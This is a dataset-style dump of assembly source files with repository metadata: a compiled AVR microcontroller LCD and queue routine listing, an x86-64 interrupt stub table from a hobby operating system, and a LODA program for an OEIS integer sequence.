.CSEG
#ifndef __SLEEP_DEFINED__
#define __SLEEP_DEFINED__
.EQU __se_bit=0x80
.EQU __sm_mask=0x70
.EQU __sm_powerdown=0x20
.EQU __sm_powersave=0x30
.EQU __sm_standby=0x60
.EQU __sm_ext_standby=0x70
.EQU __sm_adc_noise_red=0x10
.SET power_ctrl_reg=mcucr
#endif
.DSEG
.CSEG
__lcd_write_nibble_G103:
; .FSTART __lcd_write_nibble_G103
ST -Y,R26
IN R30,0x18
ANDI R30,LOW(0xF)
MOV R26,R30
LD R30,Y
ANDI R30,LOW(0xF0)
OR R30,R26
OUT 0x18,R30
__DELAY_USB 13
SBI 0x18,2
__DELAY_USB 13
CBI 0x18,2
__DELAY_USB 13
RJMP _0x20C0001
; .FEND
__lcd_write_data:
; .FSTART __lcd_write_data
ST -Y,R26
LD R26,Y
RCALL __lcd_write_nibble_G103
ld r30,y
swap r30
st y,r30
LD R26,Y
RCALL __lcd_write_nibble_G103
__DELAY_USB 133
RJMP _0x20C0001
; .FEND
_lcd_gotoxy:
; .FSTART _lcd_gotoxy
ST -Y,R26
LD R30,Y
LDI R31,0
SUBI R30,LOW(-__base_y_G103)
SBCI R31,HIGH(-__base_y_G103)
LD R30,Z
LDD R26,Y+1
ADD R26,R30
RCALL __lcd_write_data
LDD R10,Y+1
LD R30,Y
STS __lcd_y,R30
_0x20C0002:
ADIW R28,2
RET
; .FEND
_lcd_clear:
; .FSTART _lcd_clear
LDI R26,LOW(2)
CALL SUBOPT_0x1C
LDI R26,LOW(12)
RCALL __lcd_write_data
LDI R26,LOW(1)
CALL SUBOPT_0x1C
LDI R30,LOW(0)
STS __lcd_y,R30
MOV R10,R30
RET
; .FEND
_lcd_putchar:
; .FSTART _lcd_putchar
ST -Y,R26
LD R26,Y
CPI R26,LOW(0xA)
BREQ _0x2060005
LDS R30,__lcd_maxx
CP R10,R30
BRLO _0x2060004
_0x2060005:
LDI R30,LOW(0)
ST -Y,R30
LDS R26,__lcd_y
SUBI R26,-LOW(1)
STS __lcd_y,R26
RCALL _lcd_gotoxy
LD R26,Y
CPI R26,LOW(0xA)
BRNE _0x2060007
RJMP _0x20C0001
_0x2060007:
_0x2060004:
INC R10
SBI 0x18,0
LD R26,Y
RCALL __lcd_write_data
CBI 0x18,0
RJMP _0x20C0001
; .FEND
_lcd_puts:
; .FSTART _lcd_puts
ST -Y,R27
ST -Y,R26
ST -Y,R17
_0x2060008:
LDD R26,Y+1
LDD R27,Y+1+1
LD R30,X+
STD Y+1,R26
STD Y+1+1,R27
MOV R17,R30
CPI R30,0
BREQ _0x206000A
MOV R26,R17
RCALL _lcd_putchar
RJMP _0x2060008
_0x206000A:
LDD R17,Y+0
ADIW R28,3
RET
; .FEND
_lcd_init:
; .FSTART _lcd_init
ST -Y,R26
IN R30,0x17
ORI R30,LOW(0xF0)
OUT 0x17,R30
SBI 0x17,2
SBI 0x17,0
SBI 0x17,1
CBI 0x18,2
CBI 0x18,0
CBI 0x18,1
LD R30,Y
STS __lcd_maxx,R30
SUBI R30,-LOW(128)
__PUTB1MN __base_y_G103,2
LD R30,Y
SUBI R30,-LOW(192)
__PUTB1MN __base_y_G103,3
LDI R26,LOW(20)
LDI R27,0
CALL _delay_ms
CALL SUBOPT_0x1D
CALL SUBOPT_0x1D
CALL SUBOPT_0x1D
LDI R26,LOW(32)
RCALL __lcd_write_nibble_G103
__DELAY_USW 200
LDI R26,LOW(40)
RCALL __lcd_write_data
LDI R26,LOW(4)
RCALL __lcd_write_data
LDI R26,LOW(133)
RCALL __lcd_write_data
LDI R26,LOW(6)
RCALL __lcd_write_data
RCALL _lcd_clear
_0x20C0001:
ADIW R28,1
RET
; .FEND
.CSEG
.CSEG
.DSEG
_is_full:
.BYTE 0x7
_in_que:
.BYTE 0x6
_que_1to5:
.BYTE 0xC8
_que_6:
.BYTE 0xC8
_que_7:
.BYTE 0xC8
_is_timeContinue:
.BYTE 0x2
_lcd_buffer:
.BYTE 0x10
__seed_G102:
.BYTE 0x4
__base_y_G103:
.BYTE 0x4
__lcd_y:
.BYTE 0x1
__lcd_maxx:
.BYTE 0x1
.CSEG
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:3 WORDS
SUBOPT_0x0:
LDS R30,_is_timeContinue
LDS R31,_is_timeContinue+1
SBIW R30,0
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:1 WORDS
SUBOPT_0x1:
MOVW R30,R12
ADIW R30,1
MOVW R12,R30
SBIW R30,1
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 6 TIMES, CODE SIZE REDUCTION:7 WORDS
SUBOPT_0x2:
LDS R26,_in_que
LDS R27,_in_que+1
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 6 TIMES, CODE SIZE REDUCTION:7 WORDS
SUBOPT_0x3:
LDI R26,LOW(_in_que)
LDI R27,HIGH(_in_que)
LD R30,X+
LD R31,X+
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:3 WORDS
SUBOPT_0x4:
ST -Y,R31
ST -Y,R30
MOVW R26,R12
JMP _push_to_que
;OPTIMIZER ADDED SUBROUTINE, CALLED 4 TIMES, CODE SIZE REDUCTION:6 WORDS
SUBOPT_0x5:
LD R30,X+
LD R31,X+
ADIW R30,1
ST -X,R31
ST -X,R30
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 5 TIMES, CODE SIZE REDUCTION:5 WORDS
SUBOPT_0x6:
RCALL SUBOPT_0x2
CALL __CPW02
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 5 TIMES, CODE SIZE REDUCTION:25 WORDS
SUBOPT_0x7:
SBIW R30,1
ST -X,R31
ST -X,R30
LDI R26,LOW(_que_1to5)
LDI R27,HIGH(_que_1to5)
CALL _pop_from_que
ST -Y,R31
ST -Y,R30
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 7 TIMES, CODE SIZE REDUCTION:9 WORDS
SUBOPT_0x8:
LDI R27,0
CALL _LCD_Goto_Counter
LDI R30,LOW(1)
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:3 WORDS
SUBOPT_0x9:
ST -Y,R27
ST -Y,R26
ST -Y,R17
ST -Y,R16
__GETWRN 16,17,0
__GETWRN 16,17,0
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 4 TIMES, CODE SIZE REDUCTION:6 WORDS
SUBOPT_0xA:
MOVW R30,R16
LDD R26,Y+4
LDD R27,Y+4+1
LSL R30
ROL R31
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 6 TIMES, CODE SIZE REDUCTION:7 WORDS
SUBOPT_0xB:
LDI R30,LOW(_lcd_buffer)
LDI R31,HIGH(_lcd_buffer)
ST -Y,R31
ST -Y,R30
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 7 TIMES, CODE SIZE REDUCTION:9 WORDS
SUBOPT_0xC:
CALL __CWD1
CALL __PUTPARD1
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:11 WORDS
SUBOPT_0xD:
LDI R30,LOW(0)
ST -Y,R30
LDI R26,LOW(0)
CALL _lcd_gotoxy
LDI R26,LOW(_lcd_buffer)
LDI R27,HIGH(_lcd_buffer)
JMP _lcd_puts
;OPTIMIZER ADDED SUBROUTINE, CALLED 4 TIMES, CODE SIZE REDUCTION:51 WORDS
SUBOPT_0xE:
ST -Y,R31
ST -Y,R30
LDI R30,LOW(8)
LDI R31,HIGH(8)
ST -Y,R31
ST -Y,R30
LDI R30,LOW(6)
LDI R31,HIGH(6)
ST -Y,R31
ST -Y,R30
LDI R30,LOW(4)
LDI R31,HIGH(4)
ST -Y,R31
ST -Y,R30
LDI R26,LOW(11)
LDI R27,HIGH(11)
CALL _time_after
JMP _lcd_clear
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:1 WORDS
SUBOPT_0xF:
ST -Y,R27
ST -Y,R26
CALL _lcd_clear
RJMP SUBOPT_0xB
;OPTIMIZER ADDED SUBROUTINE, CALLED 4 TIMES, CODE SIZE REDUCTION:3 WORDS
SUBOPT_0x10:
LDI R24,4
CALL _sprintf
ADIW R28,8
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:5 WORDS
SUBOPT_0x11:
ST -Y,R31
ST -Y,R30
LDD R30,Y+4
LDD R31,Y+4+1
RJMP SUBOPT_0xC
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:12 WORDS
SUBOPT_0x12:
LDI R30,LOW(0)
ST -Y,R30
LDI R26,LOW(1)
CALL _lcd_gotoxy
LDI R26,LOW(_lcd_buffer)
LDI R27,HIGH(_lcd_buffer)
CALL _lcd_puts
LDI R26,LOW(3000)
LDI R27,HIGH(3000)
CALL _delay_ms
LDI R30,LOW(3000)
LDI R31,HIGH(3000)
RJMP SUBOPT_0xE
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:3 WORDS
SUBOPT_0x13:
ST -Y,R31
ST -Y,R30
LDI R24,0
CALL _sprintf
ADIW R28,4
LDI R30,LOW(0)
ST -Y,R30
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:1 WORDS
SUBOPT_0x14:
IN R30,0x13
ANDI R30,LOW(0x7)
MOV R16,R30
CPI R16,7
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:3 WORDS
SUBOPT_0x15:
MOV R30,R16
LDI R31,0
CPI R30,LOW(0x6)
LDI R26,HIGH(0x6)
CPC R31,R26
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 5 TIMES, CODE SIZE REDUCTION:13 WORDS
SUBOPT_0x16:
ST -Y,R18
LDD R26,Y+13
LDD R27,Y+13+1
LDD R30,Y+15
LDD R31,Y+15+1
ICALL
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 5 TIMES, CODE SIZE REDUCTION:9 WORDS
SUBOPT_0x17:
LDD R30,Y+16
LDD R31,Y+16+1
SBIW R30,4
STD Y+16,R30
STD Y+16+1,R31
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:3 WORDS
SUBOPT_0x18:
LDD R26,Y+13
LDD R27,Y+13+1
LDD R30,Y+15
LDD R31,Y+15+1
ICALL
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:4 WORDS
SUBOPT_0x19:
LDD R26,Y+16
LDD R27,Y+16+1
ADIW R26,4
CALL __GETW1P
STD Y+6,R30
STD Y+6+1,R31
LDD R26,Y+6
LDD R27,Y+6+1
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:2 WORDS
SUBOPT_0x1A:
LDD R26,Y+16
LDD R27,Y+16+1
ADIW R26,4
CALL __GETW1P
STD Y+10,R30
STD Y+10+1,R31
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:1 WORDS
SUBOPT_0x1B:
MOVW R26,R28
ADIW R26,12
CALL __ADDW2R15
CALL __GETW1P
RET
;OPTIMIZER ADDED SUBROUTINE, CALLED 2 TIMES, CODE SIZE REDUCTION:1 WORDS
SUBOPT_0x1C:
CALL __lcd_write_data
LDI R26,LOW(3)
LDI R27,0
JMP _delay_ms
;OPTIMIZER ADDED SUBROUTINE, CALLED 3 TIMES, CODE SIZE REDUCTION:7 WORDS
SUBOPT_0x1D:
LDI R26,LOW(48)
CALL __lcd_write_nibble_G103
__DELAY_USW 200
RET
.CSEG
_delay_ms:
adiw r26,0
breq __delay_ms1
__delay_ms0:
__DELAY_USW 0x7D0
wdr
sbiw r26,1
brne __delay_ms0
__delay_ms1:
ret
__ADDW2R15:
CLR R0
ADD R26,R15
ADC R27,R0
RET
__ANEGW1:
NEG R31
NEG R30
SBCI R31,0
RET
__CWD1:
MOV R22,R31
ADD R22,R22
SBC R22,R22
MOV R23,R22
RET
__DIVW21U:
CLR R0
CLR R1
LDI R25,16
__DIVW21U1:
LSL R26
ROL R27
ROL R0
ROL R1
SUB R0,R30
SBC R1,R31
BRCC __DIVW21U2
ADD R0,R30
ADC R1,R31
RJMP __DIVW21U3
__DIVW21U2:
SBR R26,1
__DIVW21U3:
DEC R25
BRNE __DIVW21U1
MOVW R30,R26
MOVW R26,R0
RET
__DIVW21:
RCALL __CHKSIGNW
RCALL __DIVW21U
BRTC __DIVW211
RCALL __ANEGW1
__DIVW211:
RET
__MODW21:
CLT
SBRS R27,7
RJMP __MODW211
COM R26
COM R27
ADIW R26,1
SET
__MODW211:
SBRC R31,7
RCALL __ANEGW1
RCALL __DIVW21U
MOVW R30,R26
BRTC __MODW212
RCALL __ANEGW1
__MODW212:
RET
__CHKSIGNW:
CLT
SBRS R31,7
RJMP __CHKSW1
RCALL __ANEGW1
SET
__CHKSW1:
SBRS R27,7
RJMP __CHKSW2
COM R26
COM R27
ADIW R26,1
BLD R0,0
INC R0
BST R0,0
__CHKSW2:
RET
__GETW1P:
LD R30,X+
LD R31,X
SBIW R26,1
RET
__GETW1PF:
LPM R0,Z+
LPM R31,Z
MOV R30,R0
RET
__PUTPARD1:
ST -Y,R23
ST -Y,R22
ST -Y,R31
ST -Y,R30
RET
__CPW02:
CLR R0
CP R0,R26
CPC R0,R27
RET
__SAVELOCR6:
ST -Y,R21
__SAVELOCR5:
ST -Y,R20
__SAVELOCR4:
ST -Y,R19
__SAVELOCR3:
ST -Y,R18
__SAVELOCR2:
ST -Y,R17
ST -Y,R16
RET
__LOADLOCR6:
LDD R21,Y+5
__LOADLOCR5:
LDD R20,Y+4
__LOADLOCR4:
LDD R19,Y+3
__LOADLOCR3:
LDD R18,Y+2
__LOADLOCR2:
LDD R17,Y+1
LD R16,Y
RET
;END OF CODE MARKER
__END_OF_CODE:
| 18.673565
| 115
| 0.58929
|
b6d09d19700b3eedc92a397668957f5b984b06ea
| 941
|
asm
|
Assembly
|
src/kernel/asm/idt.asm
|
EnumInt/ColbaltOS
|
e2889c3a55df67baa7a2be3ac729c86e60aabe4b
|
[
"0BSD"
] | null | null | null |
src/kernel/asm/idt.asm
|
EnumInt/ColbaltOS
|
e2889c3a55df67baa7a2be3ac729c86e60aabe4b
|
[
"0BSD"
] | null | null | null |
src/kernel/asm/idt.asm
|
EnumInt/ColbaltOS
|
e2889c3a55df67baa7a2be3ac729c86e60aabe4b
|
[
"0BSD"
] | null | null | null |
%macro isr_err_stub 1
isr_stub_%+%1:
call exception_handler
iretq
%endmacro
; if writing for 64-bit, use iretq instead
%macro isr_no_err_stub 1
isr_stub_%+%1:
call exception_handler
iretq
%endmacro
extern exception_handler
isr_no_err_stub 0
isr_no_err_stub 1
isr_no_err_stub 2
isr_no_err_stub 3
isr_no_err_stub 4
isr_no_err_stub 5
isr_no_err_stub 6
isr_no_err_stub 7
isr_err_stub 8
isr_no_err_stub 9
isr_err_stub 10
isr_err_stub 11
isr_err_stub 12
isr_err_stub 13
isr_err_stub 14
isr_no_err_stub 15
isr_no_err_stub 16
isr_err_stub 17
isr_no_err_stub 18
isr_no_err_stub 19
isr_no_err_stub 20
isr_no_err_stub 21
isr_no_err_stub 22
isr_no_err_stub 23
isr_no_err_stub 24
isr_no_err_stub 25
isr_no_err_stub 26
isr_no_err_stub 27
isr_no_err_stub 28
isr_no_err_stub 29
isr_err_stub 30
isr_no_err_stub 31
global isr_stub_table
isr_stub_table:
%assign i 0
%rep 32
dq isr_stub_%+i
%assign i i+1
%endrep
| 17.754717
| 42
| 0.814028
|
d73596a51cd63132bd172d2d0eee84754a1877e8
| 547
|
asm
|
Assembly
|
oeis/138/A138365.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 11
|
2021-08-22T19:44:55.000Z
|
2022-03-20T16:47:57.000Z
|
oeis/138/A138365.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 9
|
2021-08-29T13:15:54.000Z
|
2022-03-09T19:52:31.000Z
|
oeis/138/A138365.asm
|
neoneye/loda-programs
|
84790877f8e6c2e821b183d2e334d612045d29c0
|
[
"Apache-2.0"
] | 3
|
2021-08-22T20:56:47.000Z
|
2021-09-29T06:26:12.000Z
|
; A138365: a(n) = A006190(n) * A006190(n+2).
; Submitted by Christian Krause
; 10,99,1090,11880,129601,1413720,15421330,168220899,1835008570,20016873360,218350598401,2381839709040,25981886201050,283418908502499,3091626107326450,33724468272088440,367877524885646401,4012928305470021960,43774333835284595170,477504743882660524899,5208777848873981178730
mov $4,2
lpb $4
add $0,1
mov $1,3
mov $2,5
mov $3,8
mov $4,1
lpb $0
sub $0,1
add $3,1
div $3,$2
mov $2,$1
mul $1,3
add $1,$3
mul $3,$1
lpe
lpe
mov $0,$3
| 23.782609
| 273
| 0.707495
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.